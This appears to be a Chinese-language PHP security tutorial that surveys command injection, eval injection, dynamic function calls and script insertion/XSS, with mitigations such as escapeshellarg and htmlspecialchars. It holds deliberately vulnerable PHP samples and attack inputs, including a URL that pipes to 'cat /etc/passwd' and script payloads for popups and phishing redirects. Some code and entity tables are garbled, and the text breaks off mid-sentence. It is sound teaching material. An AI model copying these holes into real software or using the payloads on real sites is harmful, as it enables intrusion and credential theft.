首頁  >  文章  >  後端開發  >  你對於PHP漏洞有哪些了解? (詳細介紹)

你對於PHP漏洞有哪些了解? (詳細介紹)

慕斯
慕斯原創
2021-05-31 11:43:563979瀏覽

针对PHP的网站主要存在下面几种攻击方式,这里介绍下,大家在书写php代码的时候一定要注意下,本篇文章有一定的参考性!

你對於PHP漏洞有哪些了解? (詳細介紹)

  • 针对PHP的网站主要存在下面几种攻击方式:
    命令注入(Command Injection)
    eval注入(Eval Injection)
    客户端脚本攻击(Script Insertion)
    跨网站脚本攻击(Cross Site Scripting, XSS)、SQL注入攻击(SQL injection)
    跨网站请求伪造攻击(Cross Site Request Forgeries, CSRF)
    Session 会话劫持(Session Hijacking)
    Session 固定攻击(Session Fixation)
    HTTP响应拆分攻击(HTTP Response Splitting)
    文件上传漏洞(File Upload Attack)
    目录穿越漏洞(Directory Traversal)
    远程文件包含攻击(Remote Inclusion)
    动态函数注入攻击(Dynamic Variable Evaluation)
    URL攻击(URL attack)
    表单提交欺骗攻击(Spoofed Form Submissions)
    HTTP请求欺骗攻击(Spoofed HTTP Requests)

    命令注入攻击
    PHP中可以使用下列5个函数来执行外部的应用程序或函数
    system、exec、passthru、shell_exec、“(与shell_exec功能相同)
    函数原型
    string system(string command, int &return_var)
    command 要执行的命令
    return_var 存放执行命令的执行后的状态值
    string exec (string command, array &output, int &return_var)
    command 要执行的命令
    output 获得执行命令输出的每一行字符串
    return_var 存放执行命令后的状态值
    void passthru (string command, int &return_var)
    command 要执行的命令
    return_var 存放执行命令后的状态值
    string shell_exec (string command)
    command 要执行的命令

    漏洞实例
    例1:

//ex1.php
<?php $dir = $_GET["dir"];
if (isset($dir))
{
        echo "<pre class="brush:php;toolbar:false">";
        system("ls -al ".$dir);
        echo "
"; } ?>

我们提交http://www.sectop.com/ex1.php?dir=| cat /etc/passwd
提交以后,命令变成了 system("ls -al | cat /etc/passwd");

你對於PHP漏洞有哪些了解? (詳細介紹)

eval注入攻击
eval函数将输入的字符串参数当作PHP程序代码来执行
函数原型:

mixed eval(string code_str) //eval注入一般发生在攻击者能控制输入的字符串的时候
//ex2.php
<?php $var = "var";
if (isset($_GET["arg"]))
{
        $arg = $_GET["arg"];
        eval("\$var = $arg;");
        echo "\$var =".$var;
}
?>


当我们提交 http://www.sectop.com/ex2.php?arg=phpinfo();漏洞就产生了

动态函数

<?php func A()
{
        dosomething();
}
func B()
{
        dosomething();
}
if (isset($_GET["func"]))
{
        $myfunc = $_GET["func"];
        echo $myfunc();
}
?>


程序员原意是想动态调用A和B函数,那我们提交http://www.sectop.com/ex.php?func=phpinfo 漏洞产生

  • 防范方法
    尽量不要执行外部命令
    使用自定义函数或函数库来替代外部命令的功能
    使用escapeshellarg函数来处理命令参数
    使用safe_mode_exec_dir指定可执行文件的路径
    esacpeshellarg函数会将任何引起参数或命令结束的字符转义,单引号“'”,替换成“\'”,双引号“"”,替换成“\"”,分号“;”替换成“\;”
    用safe_mode_exec_dir指定可执行文件的路径,可以把会使用的命令提前放入此路径内
    safe_mode = On
    safe_mode_exec_di r= /usr/local/php/bin/

客户端脚本植入

  • 客户端脚本植入(Script Insertion),是指将可以执行的脚本插入到表单、图片、动画或超链接文字等对象内。当用户打开这些对象后,攻击者所植入的脚本就会被执行,进而开始攻击。
    可以被用作脚本植入的HTML标签一般包括以下几种:
    <script>标签标记的javascript和vbscript等页面脚本程序。在<script>标签内可以指定js程序代码,也可以在src属性内指定js文件的URL路径<br/><object>标签标记的对象。这些对象是java applet、多媒体文件和ActiveX控件等。通常在data属性内指定对象的URL路径<br/><embed>标签标记的对象。这些对象是多媒体文件,例如:swf文件。通常在src属性内指定对象的URL路径<br/><applet>标签标记的对象。这些对象是java applet,通常在codebase属性内指定对象的URL路径<br/><form>标签标记的对象。通常在action属性内指定要处理表单数据的web应用程序的URL路径</script>

客户端脚本植入的攻击步骤
1、攻击者注册普通用户后登陆网站
2、打开留言页面,插入攻击的js代码
3、其他用户登录网站(包括管理员),浏览此留言的内容
4、隐藏在留言内容中的js代码被执行,攻击成功

你對於PHP漏洞有哪些了解? (詳細介紹)

實例
資料庫
CREATE TABLE `postmessage` (
  `id` int(11) NOT NULL auto_increment,
  `subject` varchar(60) NOT NULL default 」,
  `name` varchar(40) NOT NULL default 」,
  `email` varchar(25) NOT NULL default 」,
  `question` mediumtext NOT NULL,
 NULL default '0000-00-00 00:00:00′,
  PRIMARY KEY  (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=gb2312 COMMENT='用戶的留言' AUTO_INCREMENT=69 ; #//add.php 插入留言
//list.php 留言清單
//show.php 顯示留言

提交下圖的留言

你對於PHP漏洞有哪些了解? (詳細介紹)

瀏覽此留言的時候會執行js腳本

插入<script>while(1){windows.open();}</script> 無限彈框

插入<script>location.href="http://www.sectop.com";</script> 跳轉釣魚頁面
或使用其他自行建構的js程式碼進行攻擊

#防範的方法一般使用htmlspecialchars函數來將特殊字元轉換成HTML編碼

函數原型string htmlspecialchars (string string, int quote_style, string charset)
string 是要編碼的字串 
quote_style 可選,值可為ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES,預設值ENT_COMPAT,表示只轉換雙引號不轉換單引號。ENT_QUOTES,表示雙引號和單引號都要轉換。ENT_NOQUOTES,表示雙引號和單引號都不轉換 
charset 可選,表示使用的字元集
函數會將下列特殊字元轉換成html編碼:
& —-> &
" —-> "
' —-> '
> —-> >
把show.php的第98行改成

然後再查看插入js的漏洞頁面

你對於PHP漏洞有哪些了解? (詳細介紹)

#XSS跨站腳本攻擊

XSS(Cross Site Scripting),意為跨網站腳本攻擊,為了和樣式表css(Cascading Style Sheet)區別,縮寫為XSS

跨站腳本主要被攻擊者利用來讀取網站用戶的cookies或其他個人數據,一旦攻擊者得到這些數據,那麼他就可以偽裝成此用戶來登入網站,獲得此用戶的權限。
跨站腳本攻擊的一般步驟:
1、攻擊者以某種方式發送xss的http連結給目標用戶
2、目標用戶登入此網站,在登陸期間打開了攻擊者發送的xss連結
3、網站執行了此xss攻擊腳本
4、目標用戶頁面跳到攻擊者的網站,攻擊者取得了目標用戶的信息
5、攻擊者使用目標用戶的信息登入網站,完成攻擊

當有存在跨站漏洞的程式出現的時候,攻擊者可以建構類似 http://www.sectop.com/search.php?key=